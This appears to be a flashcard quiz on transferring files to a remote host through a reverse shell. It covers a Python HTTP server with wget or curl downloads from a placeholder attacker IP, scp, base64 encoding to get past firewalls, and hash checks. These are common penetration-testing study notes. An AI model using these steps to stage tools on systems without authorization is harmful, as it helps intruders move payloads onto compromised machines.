Transferring files

Question 1

What is a method for transferring files using a reverse shell when the remote host has internet access?

Answer 1

Use wget or curl with a Python HTTP server running on your local machine.

Question 2

What command starts a Python HTTP server on port 8000 in the current directory?

Answer 2

python3 -m http.server 8000

Question 3

What is the wget command to download a file from a Python HTTP server?

Answer 3

wget http://(your-IP):8000/(filename)

Question 4

If wget is not available, what is the alternative command using curl?

Answer 4

curl http://(your-IP):8000/(filename) -o (filename)

Question 5

What flag in curl specifies the name of the output file?

Answer 5

-o

Question 6

Which method can be used to transfer files when you have SSH access to the remote host?

Answer 6

Use scp (Secure Copy Protocol).

Question 7

What is the basic scp syntax to copy a file to a remote host?

Answer 7

scp (file) user@remotehost:/path/to/save/

Question 8

What method can be used to transfer files when direct downloads are blocked by a firewall?

Answer 8

Encode the file in base64, copy it, and decode it on the remote host.

Question 9

What command base64 encodes a file in one line?

Answer 9

base64 (file) -w 0

Question 10

How do you decode a base64 string into a file on the remote host?

Answer 10

echo (base64-string) | base64 -d > (output-file)

Question 11

How can you verify the format of a transferred file?

Answer 11

Use the file command, e.g., file (filename)

Question 12

How can you verify that a file was transferred without corruption?

Answer 12

Use md5sum (file) on both the source and destination to compare hashes.